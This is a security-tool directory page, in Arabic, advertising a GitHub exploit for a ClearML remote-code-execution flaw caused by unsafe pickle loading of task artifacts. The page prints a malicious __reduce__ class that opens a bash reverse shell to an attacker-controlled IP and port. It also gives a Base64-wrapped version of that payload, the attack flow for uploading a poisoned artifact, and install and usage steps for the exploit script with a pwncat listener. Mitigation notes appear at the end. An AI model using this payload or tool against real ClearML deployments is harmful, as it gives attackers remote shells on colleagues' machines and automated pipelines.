Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-24590-ClearML-RCE-Exploit — CVE-2024-24590 – ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) في ClearML عبر إلغاء تسلسل غير آمن لقطع pickle الأثرية (0.17.0–1.14.2) | Kitploit
أدوات/GitHubGitHub/rippsec/cve-2024-24590-clearml-rce-exploit
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرةالتعلم والتعليمالفريق الأحمرأداة الوصول عن بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
GitHubrippsec/cve-2024-24590-clearml-rce-exploit

CVE-2024-24590-ClearML-RCE-Exploit

CVE-2024-24590 – ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) في ClearML عبر إلغاء تسلسل غير آمن لقطع pickle الأثرية (0.17.0–1.14.2)

عرض المستودع
622منذ 5 أشهرلم تتم المراجعة بعد
مشاركة

CVE-2024-24590 — RCE عبر مرفق Pickle في ClearML

نظرة عامة

الحقلالتفاصيل
CVECVE-2024-24590
البرنامجClearML
الإصدارات المتأثرة0.17.0 – 1.14.2
الثغرةإلغاء تسلسل غير آمن عبر pickle لمرفقات المهام
المصادقةيتطلب صلاحية كتابة لمشروع ClearML
التأثيرتنفيذ أكواد عن بُعد على أي جهاز يحمّل المرفق
تم الاختبار علىUbuntu 22.04, Python 3.9+

الوصف

ClearML هي منصة MLOps تُستخدم لتتبّع التجارب وإدارة مجموعات البيانات ومشاركة المرفقات (نماذج، ملفات، كائنات) بين أعضاء الفريق. عندما يتم رفع مرفق مهمة ككائن Python، يقوم ClearML بتسلسله باستخدام وحدة pickle في Python. وعندما يقوم مستخدم آخر بتنزيل هذا المرفق وتحميله، يقوم ClearML بإلغاء تسلسله — أيضًا عبر pickle — دون أي تحقق من السلامة أو قائمة سماح للفئات.

يمكن للمهاجم الذي لديه صلاحية كتابة لمشروع ClearML مشترك رفع مرفق خبيث يحتوي على طريقة __reduce__ مُعاد تعريفها. أي عضو في الفريق أو خط أنابيب آلي يجلب ذلك المرفق ويحمّله سينفّذ حمولة المهاجم أثناء إلغاء التسلسل، محققًا تنفيذ أكواد عن بُعد (RCE) على جهازه.

تفاصيل تقنية

السبب الجذري

وحدة pickle في Python غير آمنة جوهريًا مع المدخلات غير الموثوقة. تتحكم الطريقة السحرية __reduce__ المعرَّفة في الفئة في كيفية إعادة بناء الكائن أثناء إلغاء التسلسل — ويمكنها إرجاع أي كائن قابل للاستدعاء مع وسائطه، بما في ذلك os.system:

class exploit:
    def __reduce__(self):
        return os.system, ("bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'",)

عندما يتم تسلسل الكائن ثم إلغاء تسلسله لاحقًا، يستدعي Python os.system(cmd) كجزء من إعادة بناء الكائن — قبل أن تتاح للمستدعي أي فرصة لفحصه.

سير الهجوم

Attacker (project write access)
    │
    ▼
task = Task.init(project_name="shared-project", task_name="exploit")
task.upload_artifact("model", artifact_object=exploit())
    │
    ▼
ClearML server stores artifact as a pickled binary blob
    │
    ▼
Victim fetches artifact (automated pipeline / manual review)
    task.artifacts["model"].get()
    │
    ▼
pickle.loads(blob) → __reduce__ fires → os.system(reverse_shell_cmd)
    │
    ▼
Reverse shell connects back to attacker

ترميز الحمولة

يتم ترميز أمر الصدفة العكسية باستخدام Base64 قبل تضمينه لتجنّب مشكلات اقتباس الصدفة في السلسلة المتسلسلة:

bash_cmd = f'bash -c "bash -i >& /dev/tcp/{ip}/{port} 0>&1"'
b64 = base64.b64encode(bash_cmd.encode()).decode()
cmd = f'echo {b64} | base64 -d | sh'

المتطلبات المسبقة

  • حساب ClearML مع صلاحية كتابة لمشروع واحد على الأقل على الخادم الهدف
  • يجب على الضحية إلغاء تسلسل المرفق (جلبه عبر ClearML SDK)

التثبيت

git clone https://github.com/rippsec/CVE-2024-24590-ClearML-RCE-Exploit.git
cd CVE-2024-24590-ClearML-RCE-Exploit
pip install -r requirements.txt

المتطلبات: clearml, pwntools, colorama

الاستخدام

python3 exploit.py

ترشدك القائمة التفاعلية خلال خطوتين:

الخطوة 1 — تهيئة ClearML (option 1)

تشغّل clearml-init لإعداد بيانات الاعتماد لخادم ClearML الهدف. وتُنشئ نسخة احتياطية من أي ملف ~/clearml.conf موجود أولاً.

الخطوة 2 — تشغيل الاستغلال (option 2)

تطلب منك:

  • عنوان IP الخاص بمستمعك
  • منفذ مستمعك
  • اسم المشروع الهدف (حساس لحالة الأحرف — يجب أن يكون مشروعًا لديك صلاحية كتابة له)

تقوم اختياريًا بتشغيل مستمع pwncat تلقائيًا قبل رفع المرفق.

screenshot

التخفيف

  • قم بالترقية إلى ClearML ≥ 1.14.3 الذي يقيّد إلغاء تسلسل المرفقات
  • دقّق ضوابط الوصول إلى المشاريع — اقتصر صلاحيات الكتابة على المستخدمين الموثوقين فقط
  • تعامل مع تخزين مرفقات ClearML كسطح تنفيذ أكواد غير موثوق إذا كنت تستخدم إصدارات أقدم

المراجع

  • صفحة NVD
  • مستودع ClearML على GitHub
  • تحذير أمان pickle في Python
تنزيل الأداة